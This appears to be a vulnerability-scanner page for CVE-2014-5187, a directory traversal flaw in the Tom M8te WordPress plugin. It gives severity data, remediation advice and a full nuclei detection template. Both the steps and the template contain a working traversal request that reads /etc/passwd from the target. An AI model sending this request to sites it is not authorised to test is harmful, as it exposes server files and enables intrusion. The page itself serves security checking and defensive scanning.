Tom M8te (tom-m8te) Plugin 1.5.3 - Directory Traversal

mediumseverity

5CVSS score

4.7%likelihood of exploitation, next 30 days

92%of all CVEs are less likely

Readycheck to confirm it

Directory traversal vulnerability in the Tom M8te (tom-m8te) plugin 1.5.3 for WordPress allows remote attackers to read arbitrary files via the file parameter to tom-download-file.php.

Impact

Remote attackers can read arbitrary files on the server, potentially leading to information disclosure or further exploitation.

Fix

Update to the latest version of the plugin or apply security patches to fix the vulnerability.

How to confirm it

Send: GET /
Positive when: contains(body,"/wp-content/plugins/tom-m8te/") and status_code == 200
Send: GET /wp-content/plugins/tom-m8te/tom-download-file.php?file=../../../../../../../etc/passwd
Positive when: matches /root:.*:0:0:/ AND status 200

Run it with nuclei: nuclei -id CVE-2014-5187 -u <target>

The full check

id: CVE-2014-5187

info:
  name: Tom M8te (tom-m8te) Plugin 1.5.3 - Directory Traversal
  author: DhiyaneshDK
  severity: medium
  description: |
    Directory traversal vulnerability in the Tom M8te (tom-m8te) plugin 1.5.3 for WordPress allows remote attackers to read arbitrary files via the file parameter to tom-download-file.php.
  impact: |
    Remote attackers can read arbitrary files on the server, potentially leading to information disclosure or further exploitation.
  remediation: |
    Update to the latest version of the plugin or apply security patches to fix the vulnerability.
  reference:
    - https://wpscan.com/vulnerability/3095c3f3-9cdc-49f8-8478-c2922f0a442a/
    - https://codevigilant.com/disclosure/wp-plugin-tom-m8te-local-file-inclusion/
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:N/A:N
    cvss-score: 5
    cve-id: CVE-2014-5187
    cwe-id: CWE-22
    epss-score: 0.04718
    epss-percentile: 0.91907
    cpe: cpe:2.3:a:tom_m8te_plugin_project:tom-m8te_plugin:1.5.3:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: tom_m8te_plugin_project
    product: tom-m8te_plugin
    framework: wordpress
    publicwww-query: "/wp-content/plugins/tom-m8te/"
  tags: wpscan,cve,cve2014,wp-cross-rss,wordpress,wp-plugin,lfi,wp,tom-m8te,vuln

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains(body,"/wp-content/plugins/tom-m8te/")'
          - 'status_code == 200'
        condition: and
        internal: true

  - raw:
      - |
        GET /wp-content/plugins/tom-m8te/tom-download-file.php?file=../../../../../../../etc/passwd HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from